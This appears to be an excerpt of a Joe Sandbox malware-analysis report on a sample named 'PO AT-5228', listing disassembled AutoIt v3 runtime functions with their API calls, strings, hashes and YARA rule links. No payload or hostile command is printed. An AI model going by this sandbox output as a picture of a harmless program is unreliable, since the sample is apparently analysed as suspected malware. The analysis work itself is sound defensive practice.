Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: a1361ff11f3ca4c46567492b462e7e49fd18c1053c2029d7a706ee90334f9370
Instruction ID: 82abef134c002520e0fa276fbc85bf44c792785265adaa3a419b68f84318b415
Opcode Fuzzy Hash: a1361ff11f3ca4c46567492b462e7e49fd18c1053c2029d7a706ee90334f9370
Instruction Fuzzy Hash: 39026D75A10254EFDB14DFA4CD89EAE7BF9EB48310F048198F905AB2A0CBB4DD41CB61

Function 00BCD285 Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00BCD2DB
GetSysColorBrush.USER32(0000000F), ref: 00BCD30C
GetSysColor.USER32(0000000F), ref: 00BCD318
SetBkColor.GDI32(?,000000FF), ref: 00BCD332
SelectObject.GDI32(?,00000000), ref: 00BCD341
InflateRect.USER32(?,000000FF,000000FF), ref: 00BCD36C
GetSysColor.USER32(00000010), ref: 00BCD374
CreateSolidBrush.GDI32(00000000), ref: 00BCD37B
FrameRect.USER32(?,?,00000000), ref: 00BCD38A
DeleteObject.GDI32(00000000), ref: 00BCD391
InflateRect.USER32(?,000000FE,000000FE), ref: 00BCD3DC
FillRect.USER32(?,?,00000000), ref: 00BCD40E
GetWindowLongW.USER32(?,000000F0), ref: 00BCD439

Part of subcall function 00BCD575: GetSysColor.USER32(00000012), ref: 00BCD5AE
Part of subcall function 00BCD575: SetTextColor.GDI32(?,?), ref: 00BCD5B2
Part of subcall function 00BCD575: GetSysColorBrush.USER32(0000000F), ref: 00BCD5C8
Part of subcall function 00BCD575: GetSysColor.USER32(0000000F), ref: 00BCD5D3
Part of subcall function 00BCD575: GetSysColor.USER32(00000011), ref: 00BCD5F0
Part of subcall function 00BCD575: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00BCD5FE
Part of subcall function 00BCD575: SelectObject.GDI32(?,00000000), ref: 00BCD60F
Part of subcall function 00BCD575: SetBkColor.GDI32(?,00000000), ref: 00BCD618
Part of subcall function 00BCD575: SelectObject.GDI32(?,?), ref: 00BCD625
Part of subcall function 00BCD575: InflateRect.USER32(?,000000FF,000000FF), ref: 00BCD644
Part of subcall function 00BCD575: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00BCD65B
Part of subcall function 00BCD575: GetWindowLongW.USER32(00000000,000000F0), ref: 00BCD670
Part of subcall function 00BCD575: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00BCD698

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: e829eed956bd9cdb6ea9ad41639cba14afc417c20be9fa15edca98f933f24d96
Instruction ID: 1113c15764c0a9f655d0f2ce1dc0ce4bb00fcaf0ce32dbc256300623a4ec2af7
Opcode Fuzzy Hash: e829eed956bd9cdb6ea9ad41639cba14afc417c20be9fa15edca98f933f24d96
Instruction Fuzzy Hash: 97916E71408341AFD7109F64DC88E6B7BE9FF85325F100A2DF9669B1A0DBB1D944CB52

Function 00B7B8FD Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 491windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00B7B98B
DeleteObject.GDI32(00000000), ref: 00B7B9CD
DeleteObject.GDI32(00000000), ref: 00B7B9D8
DestroyIcon.USER32(00000000), ref: 00B7B9E3
DestroyWindow.USER32(00000000), ref: 00B7B9EE
SendMessageW.USER32(?,00001308,?,00000000), ref: 00BDD2AA
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00BDD2E3
MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 00BDD711

Part of subcall function 00B7B9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00B7B759,?,00000000,?,?,?,?,00B7B72B,00000000,?), ref: 00B7BA58

SendMessageW.USER32 ref: 00BDD758
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00BDD76F
ImageList_Destroy.COMCTL32(00000000), ref: 00BDD785
ImageList_Destroy.COMCTL32(00000000), ref: 00BDD790

Strings

0, xrefs: 00BDD5A5

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 3fdf22ee2bc41cff5196d69c33c3191e24dca5282c489ae92b5f49db4707a8e6
Instruction ID: cdfa524e7b20c88522b62313cfc93661767bbd96e333657b7c9a60bb75dccb30
Opcode Fuzzy Hash: 3fdf22ee2bc41cff5196d69c33c3191e24dca5282c489ae92b5f49db4707a8e6
Instruction Fuzzy Hash: 98128C30204241DFDB15CF24C884BA9BBE5FF55314F1485AAEAA9DB262DB31EC45CF91

Function 00BADBC4 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00BADBD6
GetDriveTypeW.KERNEL32(?,00BFDC54,?,\\.\,00BFDC00), ref: 00BADCC3
SetErrorMode.KERNEL32(00000000,00BFDC54,?,\\.\,00BFDC00), ref: 00BADE29

Strings

SATA, xrefs: 00BADDD9
MMC, xrefs: 00BADDE7
Fixed, xrefs: 00BADD0B
\\.\, xrefs: 00BADC2B
Removable, xrefs: 00BADD15
Network, xrefs: 00BADD01
SAS, xrefs: 00BADDD2
SSD, xrefs: 00BADD50
FileBackedVirtual, xrefs: 00BADDF5
RAMDisk, xrefs: 00BADCED
ATA, xrefs: 00BADDA1
RAID, xrefs: 00BADDC4
iSCSI, xrefs: 00BADDCB
Virtual, xrefs: 00BADDEE
SCSI, xrefs: 00BADD93
ATAPI, xrefs: 00BADD9A
USB, xrefs: 00BADDBD
Fibre, xrefs: 00BADDB6
PhysicalDrive, xrefs: 00BADC67
1394, xrefs: 00BADDA8
SSA, xrefs: 00BADDAF
Unknown, xrefs: 00BADCE3, 00BADD8C
CDROM, xrefs: 00BADCF7

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: ddd1541ea69dcd4d2f0e01807b0430f7f690d11155c58b60ed2d3da9fea4f695
Instruction ID: 547b1355f25153ad0e1d955f8dbb475857118f6e88cc936417ebbfcccb8e1a57
Opcode Fuzzy Hash: ddd1541ea69dcd4d2f0e01807b0430f7f690d11155c58b60ed2d3da9fea4f695
Instruction Fuzzy Hash: 2E51B73024C341EBC710DF14C8D1969B7E1FB5B708B1449BAF4979B691EB70DA89E742

Function 00B6CC24 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 267COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00B6CC68
__wcsnicmp.LIBCMT ref: 00B6CC80
__wcsnicmp.LIBCMT ref: 00B6CC98
__wcsnicmp.LIBCMT ref: 00B6CCB0
__wcsnicmp.LIBCMT ref: 00B6CCC8
__wcsnicmp.LIBCMT ref: 00B6CCE0
__wcsnicmp.LIBCMT ref: 00B6CCF8
__wcsnicmp.LIBCMT ref: 00B6CD0C
__wcsnicmp.LIBCMT ref: 00B6CD4D
__wcsnicmp.LIBCMT ref: 00B6CD61
__wcsnicmp.LIBCMT ref: 00B6CD75
__wcsnicmp.LIBCMT ref: 00B6CD89

Strings

#cs, xrefs: 00B6CD06, 00B6CD5B
#comments-start, xrefs: 00B6CCF2, 00B6CD47
#comments-end, xrefs: 00B6CD6F
#include-once, xrefs: 00B6CCC2
#include, xrefs: 00B6CCDA
#notrayicon, xrefs: 00B6CC7A
#ce, xrefs: 00B6CD83
#OnAutoItStartRegister, xrefs: 00B6CCAA
#pragma compile, xrefs: 00B6CC62
Unterminated group of comments, xrefs: 00BD2FB4
Cannot parse #include, xrefs: 00BD2FA1
Bad directive syntax error, xrefs: 00BD2ECB
#requireadmin, xrefs: 00B6CC92

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: ac760b1c4f9686cc52fd7098e48199267657328222042acda0d863473f1d534f
Instruction ID: 44bd64fa77fa4330d0bc6f288500ea474370f8087828e3b949c61e0279a73108
Opcode Fuzzy Hash: ac760b1c4f9686cc52fd7098e48199267657328222042acda0d863473f1d534f
Instruction Fuzzy Hash: 5C81F531640209ABCB10AF64CC83FBE7BE9EF24300F0444F9F949AB292FB65D945C691

Function 00BC638D Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00BFDC00), ref: 00BC6449

Strings

ISVISIBLE, xrefs: 00BC6455
SENDCOMMANDID, xrefs: 00BC67CA
ISENABLED, xrefs: 00BC648C
SHOWDROPDOWN, xrefs: 00BC6500
HIDEDROPDOWN, xrefs: 00BC6520
CHECK, xrefs: 00BC668B
TABRIGHT, xrefs: 00BC64BD
GETCURRENTCOL, xrefs: 00BC6724
UNCHECK, xrefs: 00BC66A1
EDITPASTE, xrefs: 00BC675B
GETCURRENTSELECTION, xrefs: 00BC6603
GETLINECOUNT, xrefs: 00BC66E4
FINDSTRING, xrefs: 00BC6596
GETLINE, xrefs: 00BC678B
GETCURRENTLINE, xrefs: 00BC6704
CURRENTTAB, xrefs: 00BC64DD
GETSELECTED, xrefs: 00BC66C1
DELSTRING, xrefs: 00BC6569
SELECTSTRING, xrefs: 00BC6626
ISCHECKED, xrefs: 00BC6659
SETCURRENTSELECTION, xrefs: 00BC65D6
TABLEFT, xrefs: 00BC64A7
ADDSTRING, xrefs: 00BC6536

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: BuffCharUpper
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 3964851224-45149045
Opcode ID: 1dccc7e5985d5bd6c376ecf91a74fc01a62ad120f0b8059a47db5a1212309e17
Instruction ID: b50e6115fdb15bcbdb5d7dc3b32dae2c3e66e473508eaacb91c785e01b3d91bf
Opcode Fuzzy Hash: 1dccc7e5985d5bd6c376ecf91a74fc01a62ad120f0b8059a47db5a1212309e17
Instruction Fuzzy Hash: 5BC153742042458BCE05EF14C591EAE77D9EF95344F1488EDF89A9B3D2DB20ED4ACB82

Function 00BCD575 Relevance: 39.2, APIs: 26, Instructions: 186windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00BCD5AE
SetTextColor.GDI32(?,?), ref: 00BCD5B2
GetSysColorBrush.USER32(0000000F), ref: 00BCD5C8
GetSysColor.USER32(0000000F), ref: 00BCD5D3
CreateSolidBrush.GDI32(?), ref: 00BCD5D8
GetSysColor.USER32(00000011), ref: 00BCD5F0
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00BCD5FE
SelectObject.GDI32(?,00000000), ref: 00BCD60F
SetBkColor.GDI32(?,00000000), ref: 00BCD618
SelectObject.GDI32(?,?), ref: 00BCD625
InflateRect.USER32(?,000000FF,000000FF), ref: 00BCD644
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00BCD65B
GetWindowLongW.USER32(00000000,000000F0), ref: 00BCD670
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00BCD698
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00BCD6BF
InflateRect.USER32(?,000000FD,000000FD), ref: 00BCD6DD
DrawFocusRect.USER32(?,?), ref: 00BCD6E8
GetSysColor.USER32(00000011), ref: 00BCD6F6
SetTextColor.GDI32(?,00000000), ref: 00BCD6FE
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00BCD712
SelectObject.GDI32(?,00BCD2A5), ref: 00BCD729
DeleteObject.GDI32(?), ref: 00BCD734
SelectObject.GDI32(?,?), ref: 00BCD73A
DeleteObject.GDI32(?), ref: 00BCD73F
SetTextColor.GDI32(?,?), ref: 00BCD745
SetBkColor.GDI32(?,?), ref: 00BCD74F

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: abb6aa805ba3f408cf89869640994f73bfab1dd1d6b7a0194bd0219860cba227
Instruction ID: e399a403c3bca4bbb702253f2789f21f57bd708a7d73dc8f4f745dc8e0598358
Opcode Fuzzy Hash: abb6aa805ba3f408cf89869640994f73bfab1dd1d6b7a0194bd0219860cba227
Instruction Fuzzy Hash: 64514F75900248BFDF109FA4DC88EAE7BB9FF08324F114565F915AB2A1DBB59A40CF50

Function 00BCB6C4 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 400windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00BCB7B0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00BCB7C1
CharNextW.USER32(0000014E), ref: 00BCB7F0
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00BCB831
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00BCB847
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00BCB858
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00BCB875
SetWindowTextW.USER32(?,0000014E), ref: 00BCB8C7
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00BCB8DD
SendMessageW.USER32(?,00001002,00000000,?), ref: 00BCB90E
_memset.LIBCMT ref: 00BCB933
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00BCB97C
_memset.LIBCMT ref: 00BCB9DB
SendMessageW.USER32 ref: 00BCBA05
SendMessageW.USER32(?,00001074,?,00000001), ref: 00BCBA5D
SendMessageW.USER32(?,0000133D,?,?), ref: 00BCBB0A
InvalidateRect.USER32(?,00000000,00000001), ref: 00BCBB2C
GetMenuItemInfoW.USER32(?), ref: 00BCBB76
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00BCBBA3
DrawMenuBar.USER32(?), ref: 00BCBBB2
SetWindowTextW.USER32(?,0000014E), ref: 00BCBBDA

Strings

0, xrefs: 00BCBB4F

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 5af0d1ab1b5b3c55191ad069d8c7801551eab3c77aa23fd9fb07a93f21a066cd
Instruction ID: a505516cb771a5149b7b7e41fe48e934aa5fb597a200752351e39abbcac2bd32
Opcode Fuzzy Hash: 5af0d1ab1b5b3c55191ad069d8c7801551eab3c77aa23fd9fb07a93f21a066cd
Instruction Fuzzy Hash: 30E15E75900258AFDF209FA5CC86FEE7BB8EF05714F14819AF919AB190DB708A41DF60

Function 00BC764F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00BC778A
GetDesktopWindow.USER32 ref: 00BC779F
GetWindowRect.USER32(00000000), ref: 00BC77A6
GetWindowLongW.USER32(?,000000F0), ref: 00BC7808
DestroyWindow.USER32(?), ref: 00BC7834
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00BC785D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00BC787B
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00BC78A1
SendMessageW.USER32(?,00000421,?,?), ref: 00BC78B6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00BC78C9
IsWindowVisible.USER32(?), ref: 00BC78E9
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00BC7904
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00BC7918
GetWindowRect.USER32(?,?), ref: 00BC7930
MonitorFromPoint.USER32(?,?,00000002), ref: 00BC7956
GetMonitorInfoW.USER32 ref: 00BC7970
CopyRect.USER32(?,?), ref: 00BC7987
SendMessageW.USER32(?,00000412,00000000), ref: 00BC79F2

Strings

tooltips_class32, xrefs: 00BC7856
0, xrefs: 00BC7735
(, xrefs: 00BC7965

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 6702cecd7c2cdee97959c83c9bbba0c1b275f9130222b4fb85127bf77c54f8e1
Instruction ID: 19542ba2d65544b9171c72cbf0d6a430a044c748471c06c8b27b8989fb83471a
Opcode Fuzzy Hash: 6702cecd7c2cdee97959c83c9bbba0c1b275f9130222b4fb85127bf77c54f8e1
Instruction Fuzzy Hash: 6AB15771608340AFDB04DF65C989F6ABBE5FF88310F00895DF5999B291DBB4E804CB92

Function 00B7A856 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 285windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00B7A939
GetSystemMetrics.USER32(00000007), ref: 00B7A941
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00B7A96C
GetSystemMetrics.USER32(00000008), ref: 00B7A974
GetSystemMetrics.USER32(00000004), ref: 00B7A999
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00B7A9B6
AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 00B7A9C6
CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00B7A9F9
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00B7AA0D
GetClientRect.USER32(00000000,000000FF), ref: 00B7AA2B
GetStockObject.GDI32(00000011), ref: 00B7AA47
SendMessageW.USER32(00000000,00000030,00000000), ref: 00B7AA52

Part of subcall function 00B7B63C: GetCursorPos.USER32(000000FF), ref: 00B7B64F
Part of subcall function 00B7B63C: ScreenToClient.USER32(00000000,000000FF), ref: 00B7B66C
Part of subcall function 00B7B63C: GetAsyncKeyState.USER32(00000001), ref: 00B7B691
Part of subcall function 00B7B63C: GetAsyncKeyState.USER32(00000002), ref: 00B7B69F

SetTimer.USER32(00000000,00000000,00000028,00B7AB87), ref: 00B7AA79

Strings

mmmmmm, xrefs: 00BDDA91
AutoIt v3 GUI, xrefs: 00B7A9F1

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI$mmmmmm
API String ID: 1458621304-3582652670
Opcode ID: ce9aa20a8dbb72bab05464607130b77d84babcb2e212a1e0987330762e5cde82
Instruction ID: 387ff441f386b70ee65a97ba7308fd713d2a260b70b33c01fa6c72118714ddfe
Opcode Fuzzy Hash: ce9aa20a8dbb72bab05464607130b77d84babcb2e212a1e0987330762e5cde82
Instruction Fuzzy Hash: 1BB1BD71A0020A9FDB14DFA8CC85BAE7BF4FB58311F158269FA19AB2D0DB74D841CB51

Function 00B62EC0 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 346COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00B62F7A
IsWindow.USER32(?), ref: 00BD22FD

Strings

REGEXPCLASS, xrefs: 00BD2149
LAST, xrefs: 00BD20B6
CLASS, xrefs: 00BD2128
TITLE, xrefs: 00BD2292
ACTIVE, xrefs: 00BD20CC
ALL, xrefs: 00BD2264
HANDLE, xrefs: 00BD20E2
INSTANCE, xrefs: 00BD223C
REGEXPTITLE, xrefs: 00BD20F8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$Foreground
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 62970417-1919597938
Opcode ID: e307b4a2daf099a1851d8b9578f4c06348989499c5555b6dd4c9cc7314348c82
Instruction ID: ef5161cc032e4b61d6fb0571400a451aa0db022a0acac79ce1868abd560eb7b7
Opcode Fuzzy Hash: e307b4a2daf099a1851d8b9578f4c06348989499c5555b6dd4c9cc7314348c82
Instruction Fuzzy Hash: 79D1DA30508682DFCB04EF24C4819AAFBF4FF64340F0049DAF45A57661EB74E9AADB91

Function 00BC3639 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BC3735
RegCreateKeyExW.ADVAPI32(?,?,00000000,00BFDC00,00000000,?,00000000,?,?), ref: 00BC37A3
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00BC37EB
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00BC3874
RegCloseKey.ADVAPI32(?), ref: 00BC3B94
RegCloseKey.ADVAPI32(00000000), ref: 00BC3BA1

Strings

REG_MULTI_SZ, xrefs: 00BC395C
REG_QWORD, xrefs: 00BC3AE2
REG_EXPAND_SZ, xrefs: 00BC3811
REG_SZ, xrefs: 00BC38B2
REG_BINARY, xrefs: 00BC3B2F
REG_DWORD, xrefs: 00BC3A65

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
